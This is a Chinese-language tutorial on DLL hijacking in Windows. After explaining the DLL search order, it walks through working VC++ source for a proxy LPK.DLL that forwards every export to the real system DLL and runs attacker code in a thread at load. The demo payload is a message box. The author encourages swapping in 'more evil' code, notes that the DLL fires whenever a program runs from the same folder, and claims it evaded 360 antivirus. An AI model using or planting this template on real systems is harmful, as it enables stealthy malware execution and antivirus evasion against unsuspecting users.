說起DLL劫持技術,相信大家都不會陌生,因為這種技術的應用比較廣泛,比如木馬后門的啟動、破解程序的內存補丁、外掛插件的注入以及加密狗的模擬等。之所以DLL劫持技術深受黑客們的喜愛,主要是因為該技術可以有效的躲過大部分殺軟,並且實現起來技術難度不大。DLL劫持技術也不是什么新技術,記得在《Windows核心編程》中也有提及相關技術。可是對我們廣大初學者來說,DLL劫持技術就顯得很神秘了,本系列教程將向大家詳細講解什么是DLL劫持、DLL劫持的形成原因及原理、最后還會以實例向大家講解如何通過編程實現DLL劫持。
●背景知識●
首先我們要了解Windows為什么可以DLL劫持呢?主要是因為Windows的資源共享機制。為了盡可能多得安排資源共享,微軟建議多個應用程序共享的任何模塊應該放在Windows的系統目錄中,如kernel32.dll,這樣能夠方便找到。但是隨着時間的推移,安裝程序會用舊文件或者未向后兼容的新文件來替換系統目錄下的文件,這樣會使一些其他的應用程序無法正確執行,因此,微軟改變了策略,建議應用程序將所有文件放到自己的目錄中去,而不要去碰系統目錄下的任何東西。
為了提供這樣的功能,在Window2000開始,微軟加了一個特性,強制操作系統的加載程序首先從應用程序目錄中加載模塊,只有當加載程序無法在應用程序目錄中找到文件,才搜索其他目錄。利用系統的這個特性,就可以使應用程序強制加載我們指定的DLL做一些特殊的工作。
舉個例子來說吧,Windows的系統目錄下有一個名為LPK.DLL的系統文件,程序運行時會在c:\Windows\system32文件夾下找到這個DLL文件並加載它。如打開記事本程序,用360的進程管理工具可以顯示記事本進程加載的所有模塊,如圖1所示。
圖1 記事本加載的所有模塊
可以看到記事本加載了c:\Windows\system32\LPK.DLL。
●什么是DLL劫持●
根據前面說的Windows資源共享機制,操作系統加載程序首先從應用程序目錄中加載模塊。這一特性在注冊表中也有體現:HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,如果為1,搜索的順序為:應用程序所在目錄->系統目錄(用GetSystemDirectory獲取)->16位系統目錄->Windows目錄(用GetWindowsDirectory獲取)->運行程序的當前目錄->PATH環境變量,如果為0,搜索順序為:應用程序所在目錄->運行程序的當前目錄->系統目錄(用GetSystemDirectory獲取)->16位系統目錄->Windows目錄(用GetWindowsDirectory獲取)->PATH環境變量。Windows Server 2003默認值為1,Windows XP/2000默認值為0或者沒有這個鍵值。但是不管是哪種情況,第一個搜索的肯定是應用程序的所在目錄,這樣就有機會讓應用程序去加載我們的DLL。如果這個DLL和系統目錄下的某個DLL同名,導出表也相同,功能就是加載系統目錄下的那個DLL,並且將導出表轉發到那個真實的DLL。這時DLL劫持就發生了。可以看出,構造一個符合上面要求的DLL,再將其放在可執行文件的目錄即可輕松實現DLL劫持了。
●DLL劫持的實現●
這一步我們的工作就是通過編程來實現一個LPK.DLL文件,它與系統目錄下的LPK.DLL導出表相同,並能加載系統目錄下的LPK.DLL,並且能將導出表轉發到真實的LPK.DLL。可以看出我們要實現的這個DLL需求如下:
1、構造一個與系統目錄下LPK.DLL一樣的導出表;
2、加載系統目錄下的LPK.DLL;
3、將導出函數轉發到系統目錄下的LPK.DLL上;
4、在初始化函數中加入我們要執行的代碼。
我們使用VC++來進行開發,首先是定義導出函數。核心代碼如下:
★
#pragma comment(linker, "/EXPORT:LpkInitialize=_gamehacker_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_gamehacker_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_gamehacker_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_gamehacker_LpkDrawTextEx,@4")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_gamehacker_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=
_gamehacker_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_gamehacker_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_gamehacker_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_gamehacker_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_gamehacker_ftsWordBreak,@11")
★
以上是導出表中的函數,LPK.DLL比較特殊,在導入表中有一項不是函數是數據,因此數據這部分要單獨處理。核心代碼如下:
★
EXTERNC void __cdecl gamehacker_LpkEditControl(void);
EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {gamehacker_LpkEditControl};
★
LpkEditControl這個數組有14個成員,如上定義即可,后面我們還需要將真正的數據復制過來。
加載系統目錄下的LPK.DLL。核心代碼如下:
★
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];
GetSystemDirectory(tzPath, MAX_PATH);
lstrcat(tzPath, TEXT("\\lpk"));
m_hModule=LoadLibrary(tzPath);
return (m_hModule != NULL);
}
★
在代碼中可以看到,使用LoadLibrary方式加載系統目錄下的LPK.DLL。加載完成后就要實現導出函數的轉發了,這步是很關鍵的。
首先要獲得原函數地址。核心代碼如下:
★
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
TCHAR tzTemp[MAX_PATH];
fpAddress = GetProcAddress(m_hModule, pszProcName);
return fpAddress;
}
★
然后將我們構造的導出函數一一轉發。核心代碼如下:
★
ALCDECL gamehacker_LpkInitialize(void)
{
GetAddress("LpkInitialize");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkTabbedTextOut(void)
{
GetAddress("LpkTabbedTextOut");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkDllInitialize(void)
{
GetAddress("LpkDllInitialize");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkDrawTextEx(void)
{
GetAddress("LpkDrawTextEx");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkEditControl(void)
{
GetAddress("LpkEditControl");
__asm jmp DWORD ptr [EAX];
}
ALCDECL gamehacker_LpkExtTextOut(void)
{
GetAddress("LpkExtTextOut");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkGetCharacterPlacement(void)
{
GetAddress("LpkGetCharacterPlacement");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkGetTextExtentExPoint(void)
{
GetAddress("LpkGetTextExtentExPoint");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkPSMTextOut(void)
{
GetAddress("LpkPSMTextOut");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkUseGDIWidthCache(void)
{
GetAddress("LpkUseGDIWidthCache");
__asm JMP EAX;
}
ALCDECL gamehacker_ftsWordBreak(void)
{
GetAddress("ftsWordBreak");
__asm JMP EAX;
}
★
轉發完之后不要忘記LpkEditControl哦,要將真實數據復制過來。核心代碼如下:
★
memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);
★
好了,到這里整個DLL劫持基本就算完成了,也許你要問,那我們要執行的代碼寫在哪里?我的方法是將其寫到初始化函數中。這樣當DLL被加載的時候就會執行。下面看一下DLL的入口函數吧。
★
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if(Load())
{
memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);
_beginthread(Init,NULL,NULL);
}
else
return FALSE;
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
★
在這個函數中我們看到,當加載系統目錄下的LPK.DLL成功后,進行了LpkEditControl數組的復制,並通過_beginthread(Init,NULL,NULL);定義了初始化函數Init,而這個初始化函數是由我們控制的。
下面在初始化函數Init中寫入測試代碼如下:
★
void WINAPIV Init(LPVOID pParam);
void WINAPIV Init(LPVOID pParam)
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];
wsprintf(tzTemp, TEXT("劫持函數運行了......."), tzPath);
MessageBox(NULL, tzTemp, TEXT("gamehacker"), MB_ICONSTOP);
return;
}
★
我們用彈出一個對話框來檢測一下劫持的效果,當然你也可以加入更加邪惡的代碼。貓癬、犇牛等病毒都是利用DLL劫持技術破壞系統的。
看一下效果。將編譯好的LPK.DLL復制到記事本相同目錄,然后運行記事本程序。看看是不是彈出來可愛的測試窗?
當然你也可以將這個LPK.DLL復制到任何程序的目錄,只要該目錄的程序一運行,就會執行我們的代碼。如果代碼的功能是連續彈出N個測試窗,我想一定會讓人很崩潰。
DLL劫持技術的基本原理和簡單實現就講到這里了。在測試的時候發現360安全衛士並沒有攔截我們的代碼,看來利用DLL劫持是可以過360檢測的。